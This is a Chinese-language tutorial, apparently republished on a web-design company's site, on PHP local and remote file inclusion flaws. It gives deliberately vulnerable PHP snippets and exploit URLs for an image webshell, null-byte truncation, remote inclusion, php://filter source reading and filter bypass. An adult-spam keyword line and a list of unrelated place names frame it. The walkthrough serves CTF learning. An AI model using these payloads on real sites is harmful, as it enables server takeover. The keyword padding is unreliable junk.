成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

文件包含漏洞之本地包含和遠程包含

文件包含漏洞介紹:

成都創(chuàng)新互聯技術團隊十余年來致力于為客戶提供網站制作、網站建設、品牌網站設計、營銷型網站、搜索引擎SEO優(yōu)化等服務。經過多年發(fā)展,公司擁有經驗豐富的技術團隊,先后服務、推廣了千余家網站,包括各類中小企業(yè)、企事單位、高校等機構單位。

  程序開發(fā)人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態(tài)調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。

漏洞成因:

  文件包含漏洞的產生原因是在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經過合理的校驗,或者校驗被繞過,從而操作了預想之外的文件,就 可能導致意外的文件泄露甚至惡意的代碼注入。當被包含的文件在服務器本地時,就形成的本地文件包含漏洞,被包涵的文件在第三方服務是,就形成了遠程文件包 含漏洞。

漏洞危害:

    執(zhí)行惡意代碼、包含惡意文件控制網站、甚至控制網站服務器等。


本地包含漏洞:

代碼:

<?PHP

$file=@$_GET['name'];

if($file){
	include $file;
}

?>

    

以以上這個代碼為例:

訪問:http://127.0.0.1/fileupload/include.php?name=1.txt

  1. txt文件代碼為:

<?php

phpinfo();

?>

我們可以看到txt文件里的內容以php文件的方式執(zhí)行了;如下圖所示:

文件包含漏洞之本地包含和遠程包含

再看,如果訪問:http://127.0.0.1/fileupload/include.php?name=2.jpg

2.jpg是一個圖片的一句話***;

文件包含漏洞之本地包含和遠程包含

用菜刀可以直接連接,也就是說不管后綴是什么樣,最后都會以php的形式執(zhí)行。


但是有時候會這樣,這個在ISCC國賽中遇到了,就是在最后會自動加入.php,非常煩人。

代碼2:

<?php
    Include  $_GET['page'].".php"
?>

執(zhí)行結果如下圖:

文件包含漏洞之本地包含和遠程包含

如果訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt

還是報錯。

文件包含漏洞之本地包含和遠程包含

解決辦法:%00截斷

利用環(huán)境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)

訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt%00

文件包含漏洞之本地包含和遠程包含


遠程包含:

  遠程的文件名不能為php可解析的擴展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include為On才可以。

訪問:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt

文件包含漏洞之本地包含和遠程包含

如果是遇到這種情況:

文件包含漏洞之本地包含和遠程包含可以用“?”或者“%00”階段;

http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?


讀取源碼:php://filter/read=convert.base64-encode/resource=1.txt

http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt

讀取出來的是base64編碼的,進行解碼就行了。

文件包含漏洞之本地包含和遠程包含

php://input的用法

php://input

文件包含漏洞之本地包含和遠程包含

偽協議繞過大小寫:

<?php
    
    if(isset($_GET['f'])){
        if(strpos($_GET['f'],"php") !== False){
            die("error...");
        }
        else{
            include($_GET['f'] . '.php');
        }
    }
    
?>

http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index

readfile讀取文件,不可以getshell

<?php
	
	 @readfile($_GET["file"]);
?>

總結:這些在iscc的國賽賽中出現過,如果當時會階段或者會讀取源碼,也就能獲獎了,學無止境,加油吧。


分享文章:文件包含漏洞之本地包含和遠程包含
轉載源于:http://jinyejixie.com/article24/igooce.html

成都網站建設公司_創(chuàng)新互聯,為您提供定制開發(fā)、外貿建站、虛擬主機、網站內鏈、品牌網站設計、網站制作

廣告

聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯

網站托管運營
甘泉县| 阳西县| 延津县| 临泽县| 长顺县| 西城区| 会东县| 南郑县| 黄平县| 白玉县| 双牌县| 诏安县| 商都县| 克东县| 利津县| 沽源县| 海原县| 永兴县| 镇赉县| 达孜县| 滕州市| 富蕴县| 安阳市| 神池县| 常熟市| 富民县| 廊坊市| 乐陵市| 西乡县| 安泽县| 灌南县| 建湖县| 嘉鱼县| 屏山县| 潞西市| 唐海县| 巴彦淖尔市| 新晃| 福建省| 金阳县| 合阳县|